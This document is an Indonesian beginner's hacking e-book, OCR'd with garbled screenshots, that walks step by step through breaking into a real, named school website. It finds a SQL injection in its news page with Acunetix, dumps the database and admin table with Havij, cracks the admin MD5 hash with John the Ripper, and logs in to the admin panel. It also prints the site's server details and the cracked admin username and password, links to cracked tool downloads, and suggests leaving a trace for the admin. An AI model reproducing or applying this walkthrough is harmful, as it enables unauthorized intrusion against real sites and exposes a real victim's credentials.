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Pengenalan Hacking

kekuatan antara white hacking dan black hacking, antara seni berbuat

baik dan seni berbuat jahat. Pada dasarnya hacking itu bertujuan untuk
menemukan sesuatu kelemahan pada sebuah system atau aplikasi agar kita dapat
membongkar source code di dalam system tersebut dan berhasil masuk ke dalam
system tersebut. Pada dasarnya kita dapat merubahnya namun kita tidak untuk
merusak. Kali ini kita akan mencoba membongkar sebuah keamanan website dengan
menggunakan teknik vuln system kelemahan dengan SQL injection.

I Iacking merupakan sebuah seni yang bisa di bilang mempunyai kedua

Belajar hacking website dari nol anda akan di arahkan bagaimana anda yang awalnya
tidak tahu tentang dunia hacking. Dengan membaca e-book network security ini anda
dalam waktu 1 jam saja mampu menjadi seorang hacker dan mampu melumpuhkan
sebuah website dengan menganalisa dan menerobos system kelemahannya.

Banyak kasus hacking yang beredar dan terkenal sampai saat ini salah satunya adalah
hacker cina yang berhasil men take over satelit NASA selama kurang dari 15 menit.
Selain itu situs-situs besar seperti google, facebook, amazon, ebay juga pernah
kebobolan system keamanan mereka.

Keamanan memang merupakan salah satu factor terpenting dalam sebuah system atau
aplikasi karena dengan keamanan, system atau aplikasi yang kita buat dapat bertahan
lama. Bukan berate system atau aplikasi kita sempurna karena tidak ada sebuah
system atau aplikasi yang sempurna 100%. Tujuan dari keamanan adalah memperlama
hacker merusak dari system atau aplikasi anda hingga berpuluh-puluh tahun.

Hacking memang memanfaatkan sebuah system misalnya pada jaringan, yang akan
kita bahas kali ini adalah hacking website dengan mencari vuln keamanan.

Attacker : Penyerang.
Korban : Sistem yang akan di serang.
Firewall : Sistem pelindung dari website.

Di mana attacker mencoba akan menyerang korban dengan teknik vuln pada sebuah
website yang di miliki korban. Dengan memanfaatkan celah firewall website tersebut
dan berhasil menerobos sampai halaman admin.
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Pengenalan Software

1.1 Acunetix

Acunetix merupakan sebuah program alat scaning website yang sangat popular di
dunia hacking. Kemampuannya untuk menscan secara total dari sebuah system dan
mendapatkan sebuah informasi secara mendetail. Acunetix ini juga bisa mendeteksi
kelemahan pada system aplikasi pada website, seperti vuln pada SQL Blind, SQL
Injection, Cross Sire Scripting (XSS). Dan dari acunetix ini mampu melihat isi directori
dari sebuah website dan bisa di gunakan untuk mencari halaman login website tertentu.
Kemampuannya yang begitu lengkap acunetix menjadi salah satu software favorite dari
para hacker saat ini. Saat ini acunetix sudah mencapai versi 8 dan dapat di gunakan di
windows xp, vista, 7 dan windows 8.

Download : http://www.4shared.com/rar/nlFJj71b/Acunetix.html

1.2 John The Ripper

John The Ripper merupakan salah satu alat hack paling popular dan paling lama
yang bertahan sampai saat ini. John di gunakan untuk mencrack sebuah password
yang sudah di descyript dari md5 hash, md4, dan password binary lainnya menjadi
password login bisaa. Namun untuk menjalankan John anda perlu selalu meng-update
source list password directory agar saat mendescyript password terbantu dengan cepat
namun john dapat membaca cepat anatar 1-7 password dalam hitungan menit. Namun
jika password tersebut lebih dari 7 karakter dan karakter tersebut terdiri dari beberapa
symbol, John akan lama membacannya butuh waktu berjam-jam bahkan berhari-hari.

Download : http://www.4shared.com/zip/uvg9GqSx/John_The_Ripper.html
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1.3 Havij 1.15 Pro

Havij 1.15 Pro merupakan alat pembaca isi dari daleman suatu database dengan
havij kita bisa mendapatkan informasi database baik itu menggunakan sqgl, oracle, ms
access, postgre sql, sybase. Havij sendiri memang tools hacking yang simple dan
mudah di gunakan, selain itu di havij mempunyai fitur simpan yang di gunakan untuk
penyimpanan dump sql yang kita dapatkan dari proses hacking.

Download : http://www.4shared.com/rar/VNvOxeAv/Havij_115 ProCrack.html

1.4 Admin Finder versi Network Security

Admin finder berfungsi untuk menemukan suatu halaman login dari sebuah
website. Admin finder ini telah di modifikasi dan sudah ada tambahan source list
halaman login dari sebuah website baik itu menggunakan php, asp, cfm. Tools ini
memang cepat dalam melakukan scaning web login pada suatu web.

Download : http://www.4shared.com/rar/qiOrYXaS/Admin.html

1.5 Active Perl

Active perl bahasa pemograman yang cukup popular saat ini, bahasa
pemograman ini banyak di kembangkan untuk pembuatan tools-tools security dan tools
hacking.

Download : http://www.activestate.com/activeperl/downloads

1.6 Perl

Perl ini sama seperti active perl hanya saja perl ini untuk menjalankan program-
program yang berekstensi .pl seperti adminfinder.pl. Selain itu perl ini anda bisa
membuat pemograman yang berbasis pemograman perl.

Download : http://www.activestate.com/activeperl/downloads
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Mencari Informasi Target

Untuk target yang kita lakukan testing keamanan adalah website salah satu
sekolahan di Indonesia dengan domain menggunakan .sch.id.

Target sekolah ini di ambil untuk pembelajaran karena lemahnya system keamanan
pada website tersebut. Di publikasikan untuk pembelajaran bukan untuk merusak
sebuah system.

Target : http://smpn18bkl.sch.id

Untuk scanning gunakan alat : Acunetix
Untuk pengambilan dumping password admin gunakan : Havij
Untuk memecah descyript md5 password admin menggunakan : John The Ripper

Untuk menemukan halaman login menggunakan : Adminfinder versi Network Security
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Penggunaan Acunetix

Masuk ke acunetix lalu masukan nama website seperti contoh di bawah ini :

Scan Wizard @

Sean Tope Scan Type
M Options Select whether pou want to scan a single website or analyze the results of a previous crawl,
|

! Target

]

Scan tupe

"1 Here vou can zcan a single website. In case you want to scan a single web application and not the
L
% whole site you can enter the full path below. The application supports HTTP and HTTPS websites.

@ Scan single websita

twihsite URL: [http: /fsmpril Bbk]schid |

v |F you zaved the site structure using the site crawler tool you can use the zaved results here. The
—'ﬁ} zcan will load this data fram the file instead of crawling the site again.

Scan uzing saved crawling results

Filenanne: =

I If you want to scan a list of websites, use the Acunetix Scheduler.
= "oucan access the scheduler interface by clicking the link below,

acunetix http: A lacalhost 3181/

Mest > ]| Cancel

Masukan nama websitenya pada kolom website url, seperti gambar di atas dan lalu
selanjutnya pilih tombol next.
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Selanjutnya akan tampil gambar seperti di bawah ini :

Scan Wizard

1 Type
Options
Target
Logir

acunetix

Options

Adjust crawling/scanning options from this page.

Scanning optians

5'-‘_0) Scanning profile will enable/dizable different testz [or group of tests] from the test databaze.
Scanning profile: | Default -
_:}‘} Scanning zettings allow you to adjust scanning behavior to the cunent scan(z).

Szan settings: Default - | Customize

Crawling options

__{} Theze options will define the behaviour of the crawler for the current scans. If you want to modify
the general crawler behaviour, you zhould go to zettings.

[Tlitfter crawling st me chooze the files to scan

[ ] Define list of URL's to be processed by crawler at start

< Back ” Meut = || Cancel

Biarkan sajah defaultnya seperti itu, lalu klik tombol next.
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Selanjutnya adalah informasi target korban seperti server, operating system, web
server, pemograman technologies yang di gunakan oleh korban akan terekam di sini :

e

” £ S ﬁ
Scan Wizard — » -

Target

Target information

Finizh

Baze path
Server banner
Target URL
Operating system
WebServer
Optimize for following technologies

acunetix Statuz : Done

Fleaze wait until the scanning iz finizhed. vou can alzo adjust details such as operating spstemn, webzerver,
technology or change the baze path. By entering these details vou can reduce the scanning time.

!

Apache

http: £ ¢smpn18bkl. sch.id: 80/
Unknown

Apache

[FHF]

< Back H Meut = ]I Cancel

Lalu klik tombol next.
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Tampilan selanjutnya adalah informasi login biarkan sajah default seperti bawaan :

Scan Wizard

Finish

acunetix

S T —— ||
Login
Configure inputAogin details for pazsword protected areas or HTML forms
Formg Authentication
Sd If pour website requires forms authentication, you need to record the steps required to login on the
webzite. This will be saved az a login zequence file and can be uzed later.
Tou can alzo specify a zection of the website which you do not want to be crawled [for example
link.z that wall log you out from the webzite),
Login sequence: | <no login sequences +| £ NewLogin Sequance J
< Back H Hest » | | Cancel

Lalu pilih tombol next.
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Jika sudah akan muncul tampilan finish dan siap melalukan scanning di acunetix dan
biarkan acunetix men-scan website korban hingga selesai.

Untuk additional host dectected biarkan sajah, bila ada subdomain dari web utama
misalnya http://a.smpn18bkl.sch.id bisa anda centang, berhubung dari website korban
tidak mempunyai sub domain anda biarkan sajah.

- — -
: e ——— — :
Scan Wizard w

E; can T_|r||:||3 FiniSh

ffter analyzing the website responzes, we have compiled a list of recommendations for the curent zcan.

AcuSenszor zetup

AcuSenzor iz enabled on Acunetix WS but seems not to be configured on the

!' \ target server(s]. [nstall the sensor on wour target server(z]. If the sensor iz already
inztalled, set the comrect pazsword for the server(z] by clicking on customize. You
can verfy if a specific zerver rezponds by uzing the test button from the zenzor
zettings,

Cugtomize

Additional hosts detected

6 Some additional hostz were detected. Check the ones you want to include in the scan.
| |

b.magnet-id.com
| ] bengkulukota ziap web id E
| 1w Bengkulu siap-psh. com |5
| ] v bze kemdiknaz golid
|71 s, e-dukasi.net
[0 o kemndiknas.aoid =

Save customized scan settings

™% foucan choose to save the settings you've made for future scans. This can be usefullif you are
| planning to zcan more zimilar webszites, You can alzo chose to zave the zettings in a new file by
clicking the below button.

chnetix | Save to a new template |

i < Back H Eiish || Cancel |

Selanjutnya pilih tombol finish.
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Selanjutnya dari data korban kita menangkap adanya sebuah vuln blind sql yang dapat

kita serang kita menemukan

http://smpn18bkl.sch.id/berita.php?p=lengkap&id=1"'

Tampak gambar

b Partama (SMP) Neger

4 . Re. Tdban Linghar Barat Rota Genghutu

Data Sekolah

Buku Tamu Galeri

4 &nj&ﬁc

G

Hubungi Kami Nilai Siswa Admin

BERITA SMP NEGERI 18 BENGKULU

i
sl

Warning: mysgl_fetch_arrav(): supplied argument is not a valid MySQL result resource in
Jhome/smpni8bk/public_html/berita.php on line 44

|
I | Tanggal Posting

Kita dapatkan dari hasil scanner menggunakan acunetix

Scan Fesults
= S ScanThread 1 (http:/fsmpn 18bkl.sch.id:80/)
= [l Web Alerts (31)
¢ & @ Blind SQL Injection (2)
= [ feritaphp (2)
= @ id(1)
| wvariant 1
- [] /siswa.php (2)
=t @ kelas {1)
L B variant 1
@ Cross Site Scripting (verified) (2)
@ sOL injection (4)
- @l Application error message (16}
) HTML form without CSRF pratection ...
) User credentials are sent in dear te...
@ Frontpage Extensions Enabled (1)
o Login page password-guessing attac. ..

el

B

Shatus
Scanning

m

£ View HTTP headers
Reqguest

GET [fspie B0l iephfacait 200r3209282083d4%

2090sp=lengkap HITP/1.1
¥-Requested-With: XMLHttpRegquest
Cookie:
FHPSESSID=06T760505c725c2ecc20T7e05abbbdff
b

Host: smpnlibkl.sch.id

Connection: Keep-aliwve
Aeocept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 {compatible;
MSIE 9.0; Windows NT 6.1; WOWad:
Trident/5.0)

Accept: */*

Resnnnas

Network-Security UBL Tutorial Hacking

Page 12



Pada awalnya yang mempunyai blind sql injection adalah pada website

http://smpn18bkl.sch.id/berita.php?id=-1

Lihat seperti pada gambar di atas.

(*) Catatan : Bagi anda yang menemukan web lain yang bertuliskan "You have an
error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near" berate website tersebut bisa di dump
dengan havij.

Dari hasil scanning di atas dapat di simpulkan bahwa website tersebut memunyai
banyak celah untuk di trobos systemnya termasuk dengan sql injection dan juga xss.
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Penggunaan Havij

Masuk ke havij gunakan alamat yang kita serang tadi bisa menggunakan

http://smpn18bkl.sch.id/berita.php?id=-1 atau yang telah saya trobos lebih dalam lagi

http://smpn18bkl.sch.id/berita.php?p=lengkap&id=1"'

hilangkan tanda — untuk yang pertama dan * untuk yang kedua dan tampak seperti di
gambar untuk sql injection menggunakan havij

Target: http://smpn18bkl.sch.id/berita.php?p=lengkap@id=1 L b il

= = Analyze Fause

| Kewword:  Auto Detect || Syntax:  Auto Detect &4

D atabase: Auto Detect | Method: GET v| Type: |A|_|tu Detect v| Lrﬁ" ;.'.i
Load Save

Paost Data:

@ = (B ®m % & T #
About Info Tables iead Files  Crnd Shell Query  Find Admin MD5 Settings
P @

Get Stap | Save

Target: http://smpn18bkl.sch.id/berita.php?p=lengkapiid=1' -

Host IP: 49.156.21.35

Web Server: Apache 1=

Powered-by: PHP/5.2.17 i

DB Server: MySQL

Resp. Time{avg): 128 ms

Current User: smpnilgblk_userdb@localhost

Sql Version: 5.0.96-community

Current DB: smpnl38bk_dbase =

" Status; I'mIDLE Clear Log

Hawvij 1.15 Free! s
You are using the Free version of Havij which iz limited in some features, Please purchasze the commerical version at http://itsecteam.com
Analyzing http://smpni8bkl.sch.id/berita.php?p=lengkap&id=1'

Lalu setelah memasukan web url klik analyze tunggu sampai selesai.

Setelah selesai anda buka menu info dan klik get dan tunggu hingga selesai, jika
selesai maka informasi yang kita dapatkan adalah

Target: http://smpn18bkl.sch.id/berita.php?p=lengkap&id=1'
Host IP: 49.156.21.35

Web Server: Apache

Powered-by: PHP/5.2.17

DB Server: MySQL

Resp. Time(avg): 128 ms
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Current User: smpn18bk_userdb@Ilocalhost

Sql Version: 5.0.96-community

Current DB: smpnl18bk_dbase

System User: smpn18bk_userdb@Ilocalhost

Host Name: pasai.magnethost.asia

Installation dir: ~ /

DB User: 'smpn18bk_userdb'@'localhost’

Data Bases: information_schema
smpnl18bk_dbase

Data Bases: information_schema

smpn18bk_dbase

Selanjutnya adalah Kklik tables untuk mendapatkan informasi dari database
smpnl18bk_dbase

Pertama-tama adalah klik get dbs untuk mendapatkan nama database, selanjutnya
adalah Untuk mencari tables anda centang table smpnl8bk _base klik get tables
setelah itu maka akan muncul tables lebih detail lihat gambar.

Tagek [t /jerpn bl <ch barta a7 =lmnlcapid > m
Analvze  Pause
[ Keyword: |~ | C1Suntax |auts Detec |
; = o T - e
Database: ;Auto Detect v.] Method: | GET v.| Type: |Integer | Ed
AR ] ol | et - Load Save
Post Data: |
; 9 | m S - iC g i 35
About Info | Tables PeodFies CrdShel Query  FindAdmin MDS Settings
= = . Bl . = =
Stop | Get DBs seb Tables  Geb Columns  Gek Data | Save Tables Save Data
= =
" Oinformation_schema
@
& | e
| [#lalinone request. [ Force touse it Clear list on get
.# Status: Finding Tables Clear Log
Length of 'Table Mame' is 5 ~

Table Mame: rmapel
Length of 'Table Name' is 5
Table Marme: nilai

Length of 'Tabie Mame' is 11
Tahle Mame: pegawo

il
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GetDBs (et Tables Get Columns et Diata % | Save Tables SaveData

Target: irh’tipi://smpnlsbk\.sch‘id,“’berita.php?p=|angkap&id=1 ! b
1 Analvze F
1 Kepwond: ! v Detech | [ Spntan 1 uto [ |
Diatabaze: EAuto Detect v| Method | GET Vi Type: iInteger v—| E‘ ij
= Load Save
Post Data: |
5 = D & T &
about Info | Tables Query  Find Admin MDS Jettings
- i

- mapel ~
- [kelas 1
[ kategori_galeri

- [ kategori_berita

[ kaldik

[ quru_staf

[ aaleri

O bukutaru

- [ berita

[0 agenda

[ admin

O information_schema =
= (£

[ allin one request.  [] Force tousa it Clear list on-get

" Status: 'mIDLE

Clear Log

Table Name: pengumurnan

Length of 'Table Mame' is &

Table Name: profil

Length of ‘Table Mame'is 5

Table Nams: siswa

Can not get Length of 'Table Name'

i

Hasil keseluruhan isi database :
siswa

profil
pengumuman
pegawai_str
nilai

mapel

kelas
kategori_galeri
kategori_berita
kaldik
guru_staf

galeri

Network-Security UBL Tutorial Hacking

Page 16



bukutamu
berita
agenda

admin

Setelah

itu kita centang tables admin lalu klik get coloums untuk mendapatkan

username, password, id dan setelah itu akan muncul password dalam bentuk md5,

username, id centang semua dan klik get data.

Hasil dari gambar dump tables admin tersebut dari havij

Dan dapat hasil sebagai berikut

Username : admin

Tawt [ amonioBHachidleria phyromlengkapaiet 1 > m
T r - Analyze  Pacse
[ Kewaord: [ A0te Dietect | [ Syntax: | #uto Detect | #
Databaze: Inutn Detect v-i Method: | GET v-i Type: EIntegar | @ _J
g g . = : | Lload Save
PostData: |
: ' I E a kO & 5 ]
About Info Tables  Beac Fles Crdchel Query  Find Admin MDS Settings
- [}
@ s EEH E - .ﬂ &
Stiop | Get DEs Gek Tables  Get Columns  Get Data | Sawe Tables  Save Data
: Etalt:.im'-bema % password Lisernare id
i aldi
C - O guna_stsf 25f9e794323b453885f5181f1ba24d0b adrmin 1
C = Ooaled
¢ [Obukutaru
.~ [Oberta
H [ agenda
. = [ admin
[ password
- [# usemame
- [id
O information_schema 3
ulyl [Flallinone raquasi. ] Fores to use it Clear list on get
o Gtatus I'mIDLE Clear Lag

Password dalam bentuk md5 : 25f9e794323b453885f5181f1b624d0b
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Penggunaan Admin Finder

Selanjutnya adalah bagimana kita bisa menemukan halaman login website
tersebut, kita bisa menggunakan admin finder atau pun dari acunetix di atas sudah bisa
melihat halaman login. Namun untuk lebih mengetahui admin finder ini anda bisa
mencobanya.

Sebagai tutorial saya menaruh admin finder di directori
C:\Pentest\tools\admin
Adminfinder.pl

Lalu buka cmd dengan perintah berikut dan pastikan perl anda sudah terinstall dengan
baik. Dan lihat gambar di bawah ini untuk penggunaan.

8 CA\Windows\system32\emd exe Lglﬂlihj

Microsoft Windows [Version 6.1.76611
Copyright (c? 2007 Microsoft Corporation. All rights reserved.

C:xUserssdenykurnivwrcd C:sPentesttoolssadmin

C:sPenteststoolssadminXadminf inder.pl

Setalah adminfinder.pl tekan enter dan akan muncul perintah seperti di bawah ini, itu
merupakan adminfinder.pl yang siap anda gunakan untuk mencari halaman login.

(*) nb : untuk tempat file adminfinder anda bisa merubahnya sesuai dengan keingin
anda pastikan berada dalam disk C
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————— fAdmin Control Panel Findey vi. @ ————
————————————— Coded by ddossep——m—————————————
[#]-—http: sfacebook.com/groups 3008422200711 74——[*]
—————— Metwork Security UBL Team ——————-

“# Contoh Pengggunaan Pada Wehsite
= gu: wuww.domain.com atau wuww.domain.comspath
—> wuw.zsmpnl8hbkl.sch.id

™~ Pilih Bahasa Pemograman dari Website
=* gx: asp. php. cfm
-> php.

= R

Setelah itu masukan nama website target www.smpnl8bkl.sch.id dan tekan enter
setelah itu ketik php dan tekan enter. Selanjutnya tools ini akan mencari halaman admin
secara otomatis.

- A
@8 Admin Control Panel Finder v1.0 Final by Network Security UBL E=SHOE ™

m

[#]1—=http: sfacebook.com/groups - 3000422200711 74—[+]

—————— Metwork Security UBL Team ———————
uE=JuE 3o oo JnE-Jof ek e -t 3u oo JuE-Jut oo -3uE-Jo oo e oE-Fuf oo 3mE-Jut e e -3eE- oot -Tef ek eE-Juf-Jef e -3eE- Tt JuE-TeE oo Jb-Te oo eI

“# Contoh Pengggunaan Pada Webhsite
#* gy www.domain.com atan www.domain.comspath
—>» wuyw.smpnilfbkl.=sch.id

™ Pilih Bahasa Pemograman dari Wehsite
=* gux: asp,. php. cfm
—> php

—>»Target Website: http:r-wwu._smpni8bkl.sch.id~s
—>Bahaza Pemograman Yang di Gunakan: php
—*Mencari Halaman Admin Silahkan Tunggu......

=
Carilah yang found berate itulah halaman login website dari target.

Lihat gambar selanjutnya untuk melihat found login dari website target.
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m

[+]1 Found —» http:- suuww_zmpnlBhbkl.zch.id cpanel

[-1 Hot Found <— http:A2wuww_szsnpnifhkl_sch.idslogsadmins

[-1 Mot Found <- http:/swww.snpnl8bkl.sch.idslog-sadministrators
[-]1 Hot Found <- http:A2wwu.smpnl8bkl.sch.id/log-/moderator.

[+] Found —>* http:/2wuwuw.smpni8bkl.sch.id /admin/

m

[+] Found —>» http:/%wmmr.smpnl8bkl.sch. id/admin/index.php

I [+] Found —> http:/wwmr.smpnl8bkl.sch. idA/admin/login.php ‘

Itulah halaman found dari admin

Saya membuka dengan alamat http://smpnl8bkl.sch.id/admin/login.php maka akan
terbuka menu login dari website tersebut.

B3 Metwark Security UBL X Y ] < LOGIN FORM ::.

&« C | [ smpn18bkl.sch.id/admir

Username

Password

(oG]

Halaman Utama

Selanjutnya adalah crack password md5 dengan john the ripper.
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Penggunaan John The Ripper

Selanjutnya dalah penggunaan john the ripper di mana kita sudah dapatkan password
dari md5 dari vuln sql injection yang berhasil di baca dengan software havij yakni

25f9e794323hb453885f5181f1b624d0b sebelum kita memulai aksi penggunaan john the
ripper pastikan kita membuat sebuah fle .txt pada folder john semua akan di bahas
pada gambar-gambar di bawah ini.

Pertama-tama masuk ke folder john dan masuk ke directori run lalu buat file bernama
hash.txt (*) bn bisa di ubah dengan nama file lainnya.

Organize 7| open > Print New folder = »
b Eiviiis Name i Date modified Type Size
B Desktop i cygcrypto-0.9.8.dll AM  Application extens... 1148 KB
R Downlonds %] cyggee_s-1.dll Application extens... 80 KB
R} i e Pl %] cyggomp-1.dil Application extens... 43KB
o %] cygssi-0.9.8.dll Application extens... 263 KB
: %] cygwinl.dil Application extens... 2,605 KB
JU;.I-_‘bra”ES %] cygz.dll A ation extens... T7 KB
Il E;:'cments || dictionary.fc2865 RFC2865 File 5 KB
| Bictires || digits.chr CHR File 40 KB
é Videos || dumbl6.conf COMNF File 43 KB
| dumb32.conf CONF File 58 KB
1 Cormpiiter | dynamic.conf COMF File 11 KB
&, Diive () :: genincstats Ruby F\If 2 .\E
s Drive () T;d Document 0KB)
€3 CD Drive (E) windoy ———— ——
= ERROR-COMM (G} ' S —
4| john Configuration sett... 37 KB
G'* — [57 john-omp Application 931 KB
| lanman.chr CHR File 21 KB
| Idif2john Perl program file 1 KB
S Tebn 191 1400 AN Pk e : :
hash Date modified: 12/21/20121:19 PM Date created: 12/31/20121:19 PM
Text Document Size: 0 bytes
—_

Selanjutnya isi file tersebut dengan md5 hash yang kita dapatkan dari havij sebelumnya
tambahkan 1. pada awal. Jika banyak password pada saat dumping Kkita bisa
menggunakan 2: 3: dan seterusnya contoh:

1: 25f9e794323b453885f5181f1b624d0b
2: 25f9e794323b453885f5181f1b624d0a
3: 25f9e794323b453885f5181f1b624d0c

Lihat di gambar berikut :
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f | "I
| hash - Notepad | =1L |—§hl

Fite Edit Format View Help
1:25F9e794323b453885F5181F1b624d0b

Lalu kita save.

Selanjutnya buka command promt (cmd)

B8 C\Windows\system32\cmd exe ﬂlﬁ

Microsoft Windows [Wersion 6.1.76811 "
Copyright <(c» 280? Microsoft Corporation. All rights reserved.

C:sUzerssdenykurnivrcd C:sPentestspasswords*john“run

C:»Pentest passwords™johnprun >

4

Cd C:\Pentest\passwords\john\run itu adalah folder directori yang saya taruh untuk
menempatkan john. Yakni di folder C:\Pentest\passwords

Selanjutnya dalah jalankan john dengan perintah

John —format=raw-md5 hash.txt lihat gambar lebih detail

Network-Security UBL Tutorial Hacking Page 22



@B C\Windows\system32iemd.exe

iMicrosoft Windows [Uersion 6.1.76611
Copyright (c2» 288? Microsoft Corporation. All rights reserved.

C:sUserssdenykurnivwied C:sPentestspasswords-john“run

C:sPentestspasswordssjohnsrun>john —format=raw-—mnd5 hash.txt

Hlnadad 1 _wvacewyord hash (Raw MDS [SS5E2i 18x4x312

1123456789 1)

NMlgueszses: 1 time: A:PA:80:08 DONE <Mon Jan 7 21:39:39 2813> c~ss: 7486 trying:
123456 — boomer

lilse the "——show" option to display all of the cracked passwords reliably

C:sPentestspasswordssjohnsrun X

Yang bertanda merah adalah password login asli sebelum di md5 yakni 123456789
Berate dapat kita simpulkan login dari website target adalah :
Username : admin

Password : 123456789
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Hacking System

Selanjutnya dalah hacking system kita dapat melihat isi dalaman dari website korban,
ingat jangan untuk di ubah sekali lagi kita hanya untuk memperingati kelemahan pada
website korban bukan untuk merusak !!!

Lihat gambar, kita login dengan username dan password tadi yang sudah kita crack
dengan john the ripper.

Username {admin

Password

Halaman Utama

Maka akan terlihat dengan jelas halaman login dari isi website tersebut. Jika anda
setelah login

- Kalender Akademik. Selamat Datang Di Halaman Administrator, Silahkan kelola website sesuai kebutuhan, Gunakan menu
Agerida navigasi pada bagian atas dan menu pada bagian kiri untuk mengelola website.

“Kelas

Mata Pelajarar :

R 1 |Mantap..., kembangkan lagi dan update informasi tentang sekolah. ... Salam kangen kepada Hapus
bapak ibu guru sekalian... Semoga SMP 18 tambab maju dan sukses selalu..... rnanjadi SMP
terbaik di kota Bengkulu, ..

SMP Megeri 18 is the best Hapus
Hapus
Hapuis
Hapus
Hapus
Hans |
Hapuis
Hapius

Hapuis

Kebla Do Adrin
Libak ebsite.
Logout

Lo e I ) S AW 8

[ (PR [P e (e

=
(=
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Terpampang dengan jelas gambar di atas halaman menu admin dari website. Anda
bisa memperigati admin tersebut dengan meninggalkan jejak dan ingat sekali lagi
tutorial ini bukan untuk merusak system ©
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Penutup

Demekian tutorial yang kami buat, semoga dapat bermanfaat dan memberikan
pelajaran terhadap system keamanan website yang kita buat. Salaman network
security.

Spesial Thankyou buat anak-anak network security
Ungke Wyethman
Roy Fauzan
Beni Anwar
Iga Wienh Kaol Gathzo
Ariez Coelz
Pak Camat (Pak RT)
Muhammad Yusuf Maulana Ratmaja
Katon

Dan rekan-rekan dari blue_code Network Security yang tidak bisa di sebutkan
satu-satu tanpa mengurangi rasa hormati kami ke kalian :)

08-Januari-2013
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